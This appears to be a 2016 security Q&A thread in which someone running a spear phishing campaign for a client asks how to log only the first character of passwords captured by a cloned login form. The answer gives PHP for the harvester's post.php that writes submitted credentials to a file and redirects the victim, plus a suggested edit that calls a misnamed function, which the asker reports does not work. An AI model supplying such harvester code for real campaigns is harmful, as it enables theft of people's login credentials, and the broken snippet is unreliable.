I'm launching a spear phishing campaign and my client has specifically asked me to only harvest the first character of the password, is there a way to do so?

Basically instead of showing the whole password when a user will input theirs, I want only the first character to appear.

Otherwise, is it possible to produce a hashing when the password is being sent to the apache server?

  • If you only want part of the captured password, you would have to write a script or something to dump the rest of the password. There is no reason for the tool to make this a feature. You need to explain what you mean by your hashing question.
    – schroeder
    Jul 8, 2016 at 12:00
  • What I mean by the hashing question, is when the password is written to post.php, I want it to appear hashed directly or encrypted.
    – winsmak
    Jul 10, 2016 at 22:01

1 Answer 1


If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want.

$file = 'harvester_sdfskksdks.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);

<meta http-equiv="refresh" content="0; url=" />

Instead of writing all the $_POST var, just do

file_puts_content($file, $_POST['login'] . ':' . substr($_POST['password'], 0, 1), FILE_APPEND)
  • Hi rgehan, thanks but it's not working, I also tried adding print_r but to no avail, I did correct the file_put_contents. Tried only putting 0 and 1 instead of 0, 1 but still not working. The only thing that happens is that "Date modified" changes but it actually doesn't write anything to the file.
    – winsmak
    Jul 10, 2016 at 21:12
  • It might be doing so because the password is empty. Substring would return an empty char or NULL I guess. Check the variables name
    – rgehan
    Jul 17, 2016 at 9:07

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .